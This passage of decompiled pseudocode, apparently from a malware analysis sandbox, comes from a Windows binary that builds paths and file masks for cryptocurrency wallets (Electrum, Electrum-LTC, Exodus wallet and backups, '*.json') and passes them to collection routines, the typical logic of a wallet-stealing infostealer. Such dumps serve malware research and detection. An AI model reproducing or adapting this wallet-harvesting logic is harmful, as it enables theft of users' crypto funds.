				 *((intOrPtr*)(_t780 + 0x10)) = 0;
				_v8 = 0;
				_v1328 = _t512;
				_v1332 = _t999;
				 *_t780 = 0;
				_v1324 = _t14;
				do {
					_t882 =  *_t512;
					_t512 = _t512 + 1;
				} while (_t882 != 0);
				E00405620(_t780, _v1328, _t512 - _v1324);
				_t516 =  *0x456ff4; // 0x253c318
				_t1000 = _t999 - 0x1c;
				_t781 = _t1000;
				_t23 = _t516 + 1; // 0x253c319
				_v1324 = _t1000;
				 *((intOrPtr*)(_t781 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t781 + 0x10)) = 0;
				_v8 = 1;
				_v1328 = _t516;
				 *_t781 = 0;
				_v1324 = _t23;
				do {
					_t884 =  *_t516;
					_t516 = _t516 + 1;
				} while (_t884 != 0);
				E00405620(_t781, _v1328, _t516 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1001 = _t1000 - 0x1c;
				_t783 = _t1001;
				_v1332 = _t1001;
				 *((intOrPtr*)(_t783 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t783 + 0x10)) = 0;
				 *_t783 = 0;
				E00405620(_t783, "default_wallet", 0xe);
				_t1002 = _t1001 - 0x1c;
				_t784 = _t1002;
				_v1336 = _t1002;
				 *((intOrPtr*)(_t784 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t784 + 0x10)) = 0;
				_v8 = 2;
				 *_t784 = 0;
				E00405620(_t784, "Electrum-LTC", 0xc);
				_t1003 = _t1002 - 0x1c;
				_t785 = _t1003;
				_v1324 = _t1003;
				 *((intOrPtr*)(_t785 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t785 + 0x10)) = 0;
				_v8 = 3;
				 *_t785 = 0;
				E00405620(_t785, "\\Electrum-LTC\\wallets\\", 0x16);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t525 =  *0x457274; // 0x2532b60
				_t1004 = _t1003 - 0x1c;
				_t787 = _t1004;
				_t45 = _t525 + 1; // 0x2532b61
				 *((intOrPtr*)(_t787 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t787 + 0x10)) = 0;
				_v1328 = _t525;
				_v1332 = _t1004;
				 *_t787 = 0;
				_v1324 = _t45;
				do {
					_t886 =  *_t525;
					_t525 = _t525 + 1;
				} while (_t886 != 0);
				E00405620(_t787, _v1328, _t525 - _v1324);
				_t529 =  *0x456cf4; // 0x25340e0
				_t1005 = _t1004 - 0x1c;
				_t788 = _t1005;
				_t53 = _t529 + 1; // 0x25340e1
				 *((intOrPtr*)(_t788 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t788 + 0x10)) = 0;
				_v8 = 4;
				_v1328 = _t529;
				_v1336 = _t1005;
				 *_t788 = 0;
				_v1324 = _t53;
				do {
					_t888 =  *_t529;
					_t529 = _t529 + 1;
				} while (_t888 != 0);
				E00405620(_t788, _v1328, _t529 - _v1324);
				_t533 =  *0x457164; // 0x253c360
				_t1006 = _t1005 - 0x1c;
				_t789 = _t1006;
				_t62 = _t533 + 1; // 0x253c361
				_v1324 = _t1006;
				 *((intOrPtr*)(_t789 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t789 + 0x10)) = 0;
				_v8 = 5;
				_v1328 = _t533;
				 *_t789 = 0;
				_v1324 = _t62;
				do {
					_t890 =  *_t533;
					_t533 = _t533 + 1;
				} while (_t890 != 0);
				E00405620(_t789, _v1328, _t533 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t538 =  *0x456ed0; // 0x2532c40
				_t1007 = _t1006 - 0x1c;
				_t791 = _t1007;
				_t72 = _t538 + 1; // 0x2532c41
				 *((intOrPtr*)(_t791 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t791 + 0x10)) = 0;
				_v1328 = _t538;
				_v1332 = _t1007;
				 *_t791 = 0;
				_v1324 = _t72;
				do {
					_t892 =  *_t538;
					_t538 = _t538 + 1;
				} while (_t892 != 0);
				E00405620(_t791, _v1328, _t538 - _v1324);
				_t542 =  *0x456cf4; // 0x25340e0
				_t1008 = _t1007 - 0x1c;
				_t792 = _t1008;
				_t80 = _t542 + 1; // 0x25340e1
				 *((intOrPtr*)(_t792 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t792 + 0x10)) = 0;
				_v8 = 6;
				_v1328 = _t542;
				_v1336 = _t1008;
				 *_t792 = 0;
				_v1324 = _t80;
				do {
					_t894 =  *_t542;
					_t542 = _t542 + 1;
				} while (_t894 != 0);
				E00405620(_t792, _v1328, _t542 - _v1324);
				_t546 =  *0x457164; // 0x253c360
				_t1009 = _t1008 - 0x1c;
				_t793 = _t1009;
				_t89 = _t546 + 1; // 0x253c361
				_v1324 = _t1009;
				 *((intOrPtr*)(_t793 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t793 + 0x10)) = 0;
				_v8 = 7;
				_v1328 = _t546;
				 *_t793 = 0;
				_v1324 = _t89;
				do {
					_t896 =  *_t546;
					_t546 = _t546 + 1;
				} while (_t896 != 0);
				E00405620(_t793, _v1328, _t546 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1010 = _t1009 - 0x1c;
				_t795 = _t1010;
				_v1332 = _t1010;
				 *((intOrPtr*)(_t795 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t795 + 0x10)) = 0;
				 *_t795 = 0;
				E00405620(_t795, "*.*", 3);
				_t1011 = _t1010 - 0x1c;
				_t796 = _t1011;
				_v1336 = _t1011;
				 *((intOrPtr*)(_t796 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t796 + 0x10)) = 0;
				_v8 = 8;
				 *_t796 = 0;
				E00405620(_t796, "Exodus\\exodus.wallet", 0x14);
				_t553 =  *0x456d10; // 0x2532900
				_t1012 = _t1011 - 0x1c;
				_t797 = _t1012;
				_t106 = _t553 + 1; // 0x2532901
				_v1324 = _t1012;
				 *((intOrPtr*)(_t797 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t797 + 0x10)) = 0;
				_v8 = 9;
				_v1328 = _t553;
				 *_t797 = 0;
				_v1324 = _t106;
				do {
					_t898 =  *_t553;
					_t553 = _t553 + 1;
				} while (_t898 != 0);
				E00405620(_t797, _v1328, _t553 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t558 =  *0x457208; // 0x253c3a8
				_t1013 = _t1012 - 0x1c;
				_t799 = _t1013;
				_t116 = _t558 + 1; // 0x253c3a9
				 *((intOrPtr*)(_t799 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t799 + 0x10)) = 0;
				_v1328 = _t558;
				_v1332 = _t1013;
				 *_t799 = 0;
				_v1324 = _t116;
				do {
					_t900 =  *_t558;
					_t558 = _t558 + 1;
				} while (_t900 != 0);
				E00405620(_t799, _v1328, _t558 - _v1324);
				_t562 =  *0x457254; // 0x253c390
				_t1014 = _t1013 - 0x1c;
				_t800 = _t1014;
				_t124 = _t562 + 1; // 0x253c391
				 *((intOrPtr*)(_t800 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t800 + 0x10)) = 0;
				_v8 = 0xa;
				_v1328 = _t562;
				_v1336 = _t1014;
				 *_t800 = 0;
				_v1324 = _t124;
				do {
					_t902 =  *_t562;
					_t562 = _t562 + 1;
				} while (_t902 != 0);
				E00405620(_t800, _v1328, _t562 - _v1324);
				_t566 =  *0x4570dc; // 0x2532a80
				_t1015 = _t1014 - 0x1c;
				_t801 = _t1015;
				_t133 = _t566 + 1; // 0x2532a81
				_v1324 = _t1015;
				 *((intOrPtr*)(_t801 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t801 + 0x10)) = 0;
				_v8 = 0xb;
				_v1328 = _t566;
				 *_t801 = 0;
				_v1324 = _t133;
				do {
					_t904 =  *_t566;
					_t566 = _t566 + 1;
				} while (_t904 != 0);
				E00405620(_t801, _v1328, _t566 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t571 =  *0x4570c4; // 0x2532b80
				_t1016 = _t1015 - 0x1c;
				_t803 = _t1016;
				_t143 = _t571 + 1; // 0x2532b81
				 *((intOrPtr*)(_t803 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t803 + 0x10)) = 0;
				_v1328 = _t571;
				_v1332 = _t1016;
				 *_t803 = 0;
				_v1324 = _t143;
				do {
					_t906 =  *_t571;
					_t571 = _t571 + 1;
				} while (_t906 != 0);
				E00405620(_t803, _v1328, _t571 - _v1324);
				_t575 =  *0x4572f8; // 0x253c3c0
				_t1017 = _t1016 - 0x1c;
				_t804 = _t1017;
				_t151 = _t575 + 1; // 0x253c3c1
				 *((intOrPtr*)(_t804 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t804 + 0x10)) = 0;
				_v8 = 0xc;
				_v1328 = _t575;
				_v1336 = _t1017;
				 *_t804 = 0;
				_v1324 = _t151;
				do {
					_t908 =  *_t575;
					_t575 = _t575 + 1;
				} while (_t908 != 0);
				E00405620(_t804, _v1328, _t575 - _v1324);
				_t579 =  *0x456e38; // 0x253c528
				_t1018 = _t1017 - 0x1c;
				_t805 = _t1018;
				_t160 = _t579 + 1; // 0x253c529
				_v1324 = _t1018;
				 *((intOrPtr*)(_t805 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t805 + 0x10)) = 0;
				_v8 = 0xd;
				_v1328 = _t579;
				 *_t805 = 0;
				_v1324 = _t160;
				do {
					_t910 =  *_t579;
					_t579 = _t579 + 1;
				} while (_t910 != 0);
				E00405620(_t805, _v1328, _t579 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t584 =  *0x456cbc; // 0x25329e0
				_t1019 = _t1018 - 0x1c;
				_t807 = _t1019;
				_t170 = _t584 + 1; // 0x25329e1
				 *((intOrPtr*)(_t807 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t807 + 0x10)) = 0;
				_v1328 = _t584;
				_v1332 = _t1019;
				 *_t807 = 0;
				_v1324 = _t170;
				do {
					_t912 =  *_t584;
					_t584 = _t584 + 1;
				} while (_t912 != 0);
				E00405620(_t807, _v1328, _t584 - _v1324);
				_t588 =  *0x456fac; // 0x2532920
				_t1020 = _t1019 - 0x1c;
				_t808 = _t1020;
				_t178 = _t588 + 1; // 0x2532921
				 *((intOrPtr*)(_t808 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t808 + 0x10)) = 0;
				_v8 = 0xe;
				_v1328 = _t588;
				_v1336 = _t1020;
				 *_t808 = 0;
				_v1324 = _t178;
				do {
					_t914 =  *_t588;
					_t588 = _t588 + 1;
				} while (_t914 != 0);
				E00405620(_t808, _v1328, _t588 - _v1324);
				_t592 =  *0x4571f0; // 0x2532940
				_t1021 = _t1020 - 0x1c;
				_t809 = _t1021;
				_t187 = _t592 + 1; // 0x2532941
				_v1324 = _t1021;
				 *((intOrPtr*)(_t809 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t809 + 0x10)) = 0;
				_v8 = 0xf;
				_v1328 = _t592;
				 *_t809 = 0;
				_v1324 = _t187;
				do {
					_t916 =  *_t592;
					_t592 = _t592 + 1;
				} while (_t916 != 0);
				E00405620(_t809, _v1328, _t592 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1022 = _t1021 - 0x1c;
				_t811 = _t1022;
				_v1332 = _t1022;
				 *((intOrPtr*)(_t811 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t811 + 0x10)) = 0;
				 *_t811 = 0;
				E00405620(_t811, "*.*", 3);
				_t598 =  *0x456be0; // 0x43f64b8
				_t1023 = _t1022 - 0x1c;
				_t812 = _t1023;
				_t200 = _t598 + 1; // 0x43f64b9
				 *((intOrPtr*)(_t812 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t812 + 0x10)) = 0;
				_v8 = 0x10;
				_v1328 = _t598;
				_v1336 = _t1023;
				 *_t812 = 0;
				_v1324 = _t200;
				do {
					_t918 =  *_t598;
					_t598 = _t598 + 1;
				} while (_t918 != 0);
				E00405620(_t812, _v1328, _t598 - _v1324);
				_t602 =  *0x4572a8; // 0x259d1d8
				_t1024 = _t1023 - 0x1c;
				_t813 = _t1024;
				_t209 = _t602 + 1; // 0x259d1d9
				_v1324 = _t1024;
				 *((intOrPtr*)(_t813 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t813 + 0x10)) = 0;
				_v8 = 0x11;
				_v1328 = _t602;
				 *_t813 = 0;
				_v1324 = _t209;
				do {
					_t920 =  *_t602;
					_t602 = _t602 + 1;
				} while (_t920 != 0);
				E00405620(_t813, _v1328, _t602 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1025 = _t1024 - 0x1c;
				_t815 = _t1025;
				_v1332 = _t1025;
				 *((intOrPtr*)(_t815 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t815 + 0x10)) = 0;
				 *_t815 = 0;
				E00405620(_t815, "*.*", 3);
				_t608 =  *0x456e6c; // 0x43721c8
				_t1026 = _t1025 - 0x1c;
				_t816 = _t1026;
				_t222 = _t608 + 1; // 0x43721c9
				 *((intOrPtr*)(_t816 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t816 + 0x10)) = 0;
				_v8 = 0x12;
				_v1328 = _t608;
				_v1336 = _t1026;
				 *_t816 = 0;
				_v1324 = _t222;
				do {
					_t922 =  *_t608;
					_t608 = _t608 + 1;
				} while (_t922 != 0);
				E00405620(_t816, _v1328, _t608 - _v1324);
				_t612 =  *0x456cb0; // 0x25383e0
				_t1027 = _t1026 - 0x1c;
				_t817 = _t1027;
				_t231 = _t612 + 1; // 0x25383e1
				_v1324 = _t1027;
				 *((intOrPtr*)(_t817 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t817 + 0x10)) = 0;
				_v8 = 0x13;
				_v1328 = _t612;
				 *_t817 = 0;
				_v1324 = _t231;
				do {
					_t924 =  *_t612;
					_t612 = _t612 + 1;
				} while (_t924 != 0);
				E00405620(_t817, _v1328, _t612 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t617 =  *0x45723c; // 0x253c468
				_t1028 = _t1027 - 0x1c;
				_t819 = _t1028;
				_t241 = _t617 + 1; // 0x253c469
				 *((intOrPtr*)(_t819 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t819 + 0x10)) = 0;
				_v1328 = _t617;
				_v1332 = _t1028;
				 *_t819 = 0;
				_v1324 = _t241;
				do {
					_t926 =  *_t617;
					_t617 = _t617 + 1;
				} while (_t926 != 0);
				E00405620(_t819, _v1328, _t617 - _v1324);
				_t621 =  *0x457304; // 0x43f79e8
				_t1029 = _t1028 - 0x1c;
				_t820 = _t1029;
				_t249 = _t621 + 1; // 0x43f79e9
				 *((intOrPtr*)(_t820 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t820 + 0x10)) = 0;
				_v8 = 0x14;
				_v1328 = _t621;
				_v1336 = _t1029;
				 *_t820 = 0;
				_v1324 = _t249;
				do {
					_t928 =  *_t621;
					_t621 = _t621 + 1;
				} while (_t928 != 0);
				E00405620(_t820, _v1328, _t621 - _v1324);
				_t625 =  *0x4572f4; // 0x253c4f8
				_t1030 = _t1029 - 0x1c;
				_t821 = _t1030;
				_t258 = _t625 + 1; // 0x253c4f9
				_v1324 = _t1030;
				 *((intOrPtr*)(_t821 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t821 + 0x10)) = 0;
				_v8 = 0x15;
				_v1328 = _t625;
				 *_t821 = 0;
				_v1324 = _t258;
				do {
					_t930 =  *_t625;
					_t625 = _t625 + 1;
				} while (_t930 != 0);
				E00405620(_t821, _v1328, _t625 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t630 =  *0x4570ac; // 0x43f8980
				_t1031 = _t1030 - 0x1c;
				_t823 = _t1031;
				_t268 = _t630 + 1; // 0x43f8981
				 *((intOrPtr*)(_t823 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t823 + 0x10)) = 0;
				_v1328 = _t630;
				_v1332 = _t1031;
				 *_t823 = 0;
				_v1324 = _t268;
				do {
					_t932 =  *_t630;
					_t630 = _t630 + 1;
				} while (_t932 != 0);
				E00405620(_t823, _v1328, _t630 - _v1324);
				_t634 =  *0x457304; // 0x43f79e8
				_t1032 = _t1031 - 0x1c;
				_t824 = _t1032;
				_t276 = _t634 + 1; // 0x43f79e9
				 *((intOrPtr*)(_t824 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t824 + 0x10)) = 0;
				_v8 = 0x16;
				_v1328 = _t634;
				_v1336 = _t1032;
				 *_t824 = 0;
				_v1324 = _t276;
				do {
					_t934 =  *_t634;
					_t634 = _t634 + 1;
				} while (_t934 != 0);
				E00405620(_t824, _v1328, _t634 - _v1324);
				_t638 =  *0x4572f4; // 0x253c4f8
				_t1033 = _t1032 - 0x1c;
				_t825 = _t1033;
				_t285 = _t638 + 1; // 0x253c4f9
				_v1324 = _t1033;
				 *((intOrPtr*)(_t825 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t825 + 0x10)) = 0;
				_v8 = 0x17;
				_v1328 = _t638;
				 *_t825 = 0;
				_v1324 = _t285;
				do {
					_t936 =  *_t638;
					_t638 = _t638 + 1;
				} while (_t936 != 0);
				E00405620(_t825, _v1328, _t638 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t643 =  *0x456d4c; // 0x43f8b40
				_t1034 = _t1033 - 0x1c;
				_t827 = _t1034;
				_t295 = _t643 + 1; // 0x43f8b41
				 *((intOrPtr*)(_t827 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t827 + 0x10)) = 0;
				_v1328 = _t643;
				_v1332 = _t1034;
				 *_t827 = 0;
				_v1324 = _t295;
				do {
					_t938 =  *_t643;
					_t643 = _t643 + 1;
				} while (_t938 != 0);
				E00405620(_t827, _v1328, _t643 - _v1324);
				_t647 =  *0x457304; // 0x43f79e8
				_t1035 = _t1034 - 0x1c;
				_t828 = _t1035;
				_t303 = _t647 + 1; // 0x43f79e9
				 *((intOrPtr*)(_t828 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t828 + 0x10)) = 0;
				_v8 = 0x18;
				_v1328 = _t647;
				_v1336 = _t1035;
				 *_t828 = 0;
				_v1324 = _t303;
				do {
					_t940 =  *_t647;
					_t647 = _t647 + 1;
				} while (_t940 != 0);
				E00405620(_t828, _v1328, _t647 - _v1324);
				_t651 =  *0x4572f4; // 0x253c4f8
				_t1036 = _t1035 - 0x1c;
				_t829 = _t1036;
				_t312 = _t651 + 1; // 0x253c4f9
				_v1324 = _t1036;
				 *((intOrPtr*)(_t829 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t829 + 0x10)) = 0;
				_v8 = 0x19;
				_v1328 = _t651;
				 *_t829 = 0;
				_v1324 = _t312;
				do {
					_t942 =  *_t651;
					_t651 = _t651 + 1;
				} while (_t942 != 0);
				E00405620(_t829, _v1328, _t651 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t656 =  *0x45727c; // 0x253c240
				_t1037 = _t1036 - 0x1c;
				_t831 = _t1037;
				_t322 = _t656 + 1; // 0x253c241
				 *((intOrPtr*)(_t831 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t831 + 0x10)) = 0;
				_v1328 = _t656;
				_v1332 = _t1037;
				 *_t831 = 0;
				_v1324 = _t322;
				do {
					_t944 =  *_t656;
					_t656 = _t656 + 1;
				} while (_t944 != 0);
				E00405620(_t831, _v1328, _t656 - _v1324);
				_t660 =  *0x456c2c; // 0x43721d8
				_t1038 = _t1037 - 0x1c;
				_t832 = _t1038;
				_t330 = _t660 + 1; // 0x43721d9
				 *((intOrPtr*)(_t832 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t832 + 0x10)) = 0;
				_v8 = 0x1a;
				_v1328 = _t660;
				_v1336 = _t1038;
				 *_t832 = 0;
				_v1324 = _t330;
				do {
					_t946 =  *_t660;
					_t660 = _t660 + 1;
				} while (_t946 != 0);
				E00405620(_t832, _v1328, _t660 - _v1324);
				_t664 =  *0x456d0c; // 0x2538390
				_t1039 = _t1038 - 0x1c;
				_t833 = _t1039;
				_t339 = _t664 + 1; // 0x2538391
				_v1324 = _t1039;
				 *((intOrPtr*)(_t833 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t833 + 0x10)) = 0;
				_v8 = 0x1b;
				_v1328 = _t664;
				 *_t833 = 0;
				_v1324 = _t339;
				do {
					_t948 =  *_t664;
					_t664 = _t664 + 1;
				} while (_t948 != 0);
				E00405620(_t833, _v1328, _t664 - _v1324);
				_push(1);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t669 =  *0x456f68; // 0x253c3d8
				_t1040 = _t1039 - 0x1c;
				_t835 = _t1040;
				_t349 = _t669 + 1; // 0x253c3d9
				 *((intOrPtr*)(_t835 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t835 + 0x10)) = 0;
				_v1328 = _t669;
				_v1332 = _t1040;
				 *_t835 = 0;
				_v1324 = _t349;
				do {
					_t950 =  *_t669;
					_t669 = _t669 + 1;
				} while (_t950 != 0);
				E00405620(_t835, _v1328, _t669 - _v1324);
				_t673 =  *0x456c2c; // 0x43721d8
				_t1041 = _t1040 - 0x1c;
				_t836 = _t1041;
				_t357 = _t673 + 1; // 0x43721d9
				 *((intOrPtr*)(_t836 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t836 + 0x10)) = 0;
				_v8 = 0x1c;
				_v1328 = _t673;
				_v1336 = _t1041;
				 *_t836 = 0;
				_v1324 = _t357;
				do {
					_t952 =  *_t673;
					_t673 = _t673 + 1;
				} while (_t952 != 0);
				E00405620(_t836, _v1328, _t673 - _v1324);
				_t677 =  *0x456d0c; // 0x2538390
				_t1042 = _t1041 - 0x1c;
				_t837 = _t1042;
				_t366 = _t677 + 1; // 0x2538391
				_v1324 = _t1042;
				 *((intOrPtr*)(_t837 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t837 + 0x10)) = 0;
				_v8 = 0x1d;
				_v1328 = _t677;
				 *_t837 = 0;
				_v1324 = _t366;
				do {
					_t954 =  *_t677;
					_t677 = _t677 + 1;
				} while (_t954 != 0);
				E00405620(_t837, _v1328, _t677 - _v1324);
				_push(1);
				_v8 = 0xffffffff;
				E00412E30(__ecx);
				_t682 =  *0x456d50; // 0x43f6428
				_t1043 = _t1042 - 0x1c;
				_t839 = _t1043;
				_t376 = _t682 + 1; // 0x43f6429
				 *((intOrPtr*)(_t839 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t839 + 0x10)) = 0;
				_v1328 = _t682;
				_v1332 = _t1043;
				 *_t839 = 0;
				_v1324 = _t376;
				do {
					_t956 =  *_t682;
					_t682 = _t682 + 1;
				} while (_t956 != 0);
				E00405620(_t839, _v1328, _t682 - _v1324);
				_t686 =  *0x45705c; // 0x43f6f20
				_t1044 = _t1043 - 0x1c;
				_t840 = _t1044;
				_t384 = _t686 + 1; // 0x43f6f21
				 *((intOrPtr*)(_t840 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t840 + 0x10)) = 0;
				_v8 = 0x1e;
				_v1328 = _t686;
				_v1336 = _t1044;
				 *_t840 = 0;
				_v1324 = _t384;
				do {
					_t958 =  *_t686;
					_t686 = _t686 + 1;
				} while (_t958 != 0);
				E00405620(_t840, _v1328, _t686 - _v1324);
				_t690 =  *0x456ffc; // 0x25383b8
				_t1045 = _t1044 - 0x1c;
				_t841 = _t1045;
				_t393 = _t690 + 1; // 0x25383b9
				_v1324 = _t1045;
				 *((intOrPtr*)(_t841 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t841 + 0x10)) = 0;
				_v8 = 0x1f;
				_v1328 = _t690;
				 *_t841 = 0;
				_v1324 = _t393;
				do {
					_t960 =  *_t690;
					_t690 = _t690 + 1;
				} while (_t960 != 0);
				E00405620(_t841, _v1328, _t690 - _v1324);
				_push(0);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1046 = _t1045 - 0x1c;
				_t843 = _t1046;
				_v1332 = _t1046;
				 *((intOrPtr*)(_t843 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t843 + 0x10)) = 0;
				 *_t843 = 0;
				E00405620(_t843, "*.*", 3);
				_t696 =  *0x456f44; // 0x43f6c80
				_t1047 = _t1046 - 0x1c;
				_t844 = _t1047;
				_t406 = _t696 + 1; // 0x43f6c81
				 *((intOrPtr*)(_t844 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t844 + 0x10)) = 0;
				_v8 = 0x20;
				_v1328 = _t696;
				_v1336 = _t1047;
				 *_t844 = 0;
				_v1324 = _t406;
				do {
					_t962 =  *_t696;
					_t696 = _t696 + 1;
				} while (_t962 != 0);
				E00405620(_t844, _v1328, _t696 - _v1324);
				_t700 =  *0x456c4c; // 0x2538480
				_t1048 = _t1047 - 0x1c;
				_t845 = _t1048;
				_t415 = _t700 + 1; // 0x2538481
				_v1324 = _t1048;
				 *((intOrPtr*)(_t845 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t845 + 0x10)) = 0;
				_v8 = 0x21;
				_v1328 = _t700;
				 *_t845 = 0;
				_v1324 = _t415;
				do {
					_t964 =  *_t700;
					_t700 = _t700 + 1;
				} while (_t964 != 0);
				E00405620(_t845, _v1328, _t700 - _v1324);
				_push(1);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1049 = _t1048 - 0x1c;
				_t847 = _t1049;
				_v1332 = _t1049;
				 *((intOrPtr*)(_t847 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t847 + 0x10)) = 0;
				 *_t847 = 0;
				E00405620(_t847, "*.json", 6);
				_t706 =  *0x4571a8; // 0x43f6488
				_t1050 = _t1049 - 0x1c;
				_t848 = _t1050;
				_t428 = _t706 + 1; // 0x43f6489
				 *((intOrPtr*)(_t848 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t848 + 0x10)) = 0;
				_v8 = 0x22;
				_v1328 = _t706;
				_v1336 = _t1050;
				 *_t848 = 0;
				_v1324 = _t428;
				do {
					_t966 =  *_t706;
					_t706 = _t706 + 1;
				} while (_t966 != 0);
				E00405620(_t848, _v1328, _t706 - _v1324);
				_t710 =  *0x456fdc; // 0x25384d0
				_t1051 = _t1050 - 0x1c;
				_t849 = _t1051;
				_t437 = _t710 + 1; // 0x25384d1
				_v1324 = _t1051;
				 *((intOrPtr*)(_t849 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t849 + 0x10)) = 0;
				_v8 = 0x23;
				_v1328 = _t710;
				 *_t849 = 0;
				_v1324 = _t437;
				do {
					_t968 =  *_t710;
					_t710 = _t710 + 1;
					_t1145 = _t968;
				} while (_t968 != 0);
				E00405620(_t849, _v1328, _t710 - _v1324);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t1052 = _t1051 - 0x1c;
				_t851 = _t1052;
				_v1332 = _t1052;
				 *((intOrPtr*)(_t851 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t851 + 0x10)) = 0;
				 *_t851 = 0;
				E00405620(_t851, "default_wallet", 0xe);
				_t1053 = _t1052 - 0x1c;
				_t852 = _t1053;
				_v1336 = _t1053;
				 *((intOrPtr*)(_t852 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t852 + 0x10)) = 0;
				_v8 = 0x24;
				 *_t852 = 0;
				E00405620(_t852, "Electrum", 8);
				_t1054 = _t1053 - 0x1c;
				_t853 = _t1054;
				_v1324 = _t1054;
				 *((intOrPtr*)(_t853 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t853 + 0x10)) = 0;
				_v8 = 0x25;
				 *_t853 = 0;
				E00405620(_t853, "\\Electrum\\wallets\\", 0x12);
				_v8 = 0xffffffff;
				E00412E30(__ecx); // executed
				_t969 =  *0x456c38; // 0x43f7ac0
				_t719 =  *0x456b40; // 0x43f7a30
				_t856 =  *0x456d7c; // 0x43f8960
				E00412170(_t1145, _t856, _t719, _t969,  *((intOrPtr*)(__ecx + 0x20)), 1); // executed
				_t721 =  *0x456b80; // 0x43f9518
				_t857 =  *0x456fd0; // 0x43f8c00
				_t971 =  *0x457340; // 0x43f7aa8
				E00412170(_t1145, _t971, _t857, _t721,  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				_t858 =  *0x456b80; // 0x43f9518
				_t972 =  *0x456e48; // 0x43f9470
				_t724 =  *0x456c14; // 0x43f93b0
				E00412170(_t1145, _t724, _t972, _t858,  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				_t973 =  *0x456b80; // 0x43f9518
				_t726 =  *0x45720c; // 0x43f9488
				_t860 =  *0x4572fc; // 0x43f84f8
				E00412170(_t1145, _t860, _t726, _t973,  *((intOrPtr*)(_t990 + 0x20)), 0); // executed
				E00412450(0, _t1145, "\\Exodus\\backups", "Exodus\\backups", "*.*",  *((intOrPtr*)(_t990 + 0x20))); // executed
				L0042AC10( &_v1060, 0, 0x104);
				L0042AC10( &_v1320, 0, 0x104);
				L0042AC10( &_v280, 0, 0x104);
				L0042AC10( &_v800, 0, 0x104);
				L0042AC10( &_v540, 0, 0x104);
				 *0x468038( &_v1060, "\\", 0, 0);
				_t737 =  *0x456d20; // 0x43f95f0
				 *0x468038( &_v1060, _t737);
				 *0x468038( &_v1060, "\\");
				_t740 =  *0x456d20; // 0x43f95f0
				 *0x468038( &_v280, _t740);
				 *0x468038( &_v280, "\\");
				_t743 =  *0x456e20; // 0x43f6578
				 *0x468038( &_v280, _t743);
				 *0x468038( &_v280, "\\");
				_t746 =  *0x457104; // 0x43723c8
				 *0x468038( &_v280, _t746);
